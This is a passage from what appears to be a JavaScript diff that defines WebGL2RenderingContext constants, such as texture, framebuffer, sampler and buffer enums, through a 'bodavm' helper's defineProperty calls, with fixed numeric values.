"TEXTURE_BINDING_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32874 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", { + configurable: false, + enumerable: true, + writable: false, + value: 32877 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 32878 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32879 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", { + configurable: false, + enumerable: true, + writable: false, + value: 32882 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 32883 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 33640 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33000 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33001 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33082 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33083 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33084 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33085 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", { + configurable: false, + enumerable: true, + writable: false, + value: 32775 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", { + configurable: false, + enumerable: true, + writable: false, + value: 32776 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", { + configurable: false, + enumerable: true, + writable: false, + value: 33190 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", { + configurable: false, + enumerable: true, + writable: false, + value: 34045 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 34892 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34893 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", { + configurable: false, + enumerable: true, + writable: false, + value: 34917 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", { + configurable: false, + enumerable: true, + writable: false, + value: 34918 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 34919 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35041 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35042 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35045 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35046 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35049 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35050 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 34852 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", { + configurable: false, + enumerable: true, + writable: false, + value: 34853 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", { + configurable: false, + enumerable: true, + writable: false, + value: 34854 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", { + configurable: false, + enumerable: true, + writable: false, + value: 34855 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", { + configurable: false, + enumerable: true, + writable: false, + value: 34856 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", { + configurable: false, + enumerable: true, + writable: false, + value: 34857 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", { + configurable: false, + enumerable: true, + writable: false, + value: 34858 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", { + configurable: false, + enumerable: true, + writable: false, + value: 34859 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", { + configurable: false, + enumerable: true, + writable: false, + value: 34860 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", { + configurable: false, + enumerable: true, + writable: false, + value: 34861 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", { + configurable: false, + enumerable: true, + writable: false, + value: 34862 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", { + configurable: false, + enumerable: true, + writable: false, + value: 34863 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", { + configurable: false, + enumerable: true, + writable: false, + value: 34864 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", { + configurable: false, + enumerable: true, + writable: false, + value: 34865 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", { + configurable: false, + enumerable: true, + writable: false, + value: 34866 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", { + configurable: false, + enumerable: true, + writable: false, + value: 34867 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", { + configurable: false, + enumerable: true, + writable: false, + value: 34868 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35657 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35658 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 35679 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 35682 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 35723 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35051 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35052 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35053 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35055 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35685 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35686 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35687 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35688 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35689 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35690 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", { + configurable: false, + enumerable: true, + writable: false, + value: 35904 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 35905 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", { + configurable: false, + enumerable: true, + writable: false, + value: 35907 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34894 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34836 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34837 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34842 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34843 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 35069 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35076 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35077 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35659 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35866 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35869 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", { + configurable: false, + enumerable: true, + writable: false, + value: 35898 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35899 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", { + configurable: false, + enumerable: true, + writable: false, + value: 35901 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35902 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 35967 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35968 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35971 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35972 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35973 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 35976 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", { + configurable: false, + enumerable: true, + writable: false, + value: 35977 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35978 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35979 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35980 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35981 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35982 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35983 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36208 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36209 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36214 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36215 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36220 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36221 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36226 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36227 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36232 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36233 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36238 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36239 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36244 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36248 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36249 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36289 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36292 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36293 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 36294 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 36295 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 36296 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36298 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36299 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36300 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36303 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36306 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36307 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36308 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36311 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", { + configurable: false, + enumerable: true, + writable: false, + value: 36012 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 36013 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36269 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", { + configurable: false, + enumerable: true, + writable: false, + value: 33296 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 33297 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33298 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33299 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33300 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33301 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33302 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33303 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", { + configurable: false, + enumerable: true, + writable: false, + value: 33304 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", { + configurable: false, + enumerable: true, + writable: false, + value: 34042 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 35056 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 35863 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36008 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36009 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36010 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36011 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", { + configurable: false, + enumerable: true, + writable: false, + value: 36052 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 36063 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", { + configurable: false, + enumerable: true, + writable: false, + value: 36065 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", { + configurable: false, + enumerable: true, + writable: false, + value: 36066 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", { + configurable: false, + enumerable: true, + writable: false, + value: 36067 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", { + configurable: false, + enumerable: true, + writable: false, + value: 36068 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", { + configurable: false, + enumerable: true, + writable: false, + value: 36069 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", { + configurable: false, + enumerable: true, + writable: false, + value: 36070 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", { + configurable: false, + enumerable: true, + writable: false, + value: 36071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", { + configurable: false, + enumerable: true, + writable: false, + value: 36072 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", { + configurable: false, + enumerable: true, + writable: false, + value: 36073 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", { + configurable: false, + enumerable: true, + writable: false, + value: 36074 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", { + configurable: false, + enumerable: true, + writable: false, + value: 36075 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", { + configurable: false, + enumerable: true, + writable: false, + value: 36076 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", { + configurable: false, + enumerable: true, + writable: false, + value: 36077 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", { + configurable: false, + enumerable: true, + writable: false, + value: 36078 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", { + configurable: false, + enumerable: true, + writable: false, + value: 36079 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", { + configurable: false, + enumerable: true, + writable: false, + value: 36182 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36183 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5131 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", { + configurable: false, + enumerable: true, + writable: false, + value: 33319 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 33320 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", { + configurable: false, + enumerable: true, + writable: false, + value: 33321 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", { + configurable: false, + enumerable: true, + writable: false, + value: 33323 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33325 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33326 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33327 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33328 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33329 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33330 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33331 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33332 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33333 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33334 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33335 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33336 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33337 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33338 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33339 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33340 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34229 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36756 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36757 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36758 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36759 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 36764 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', 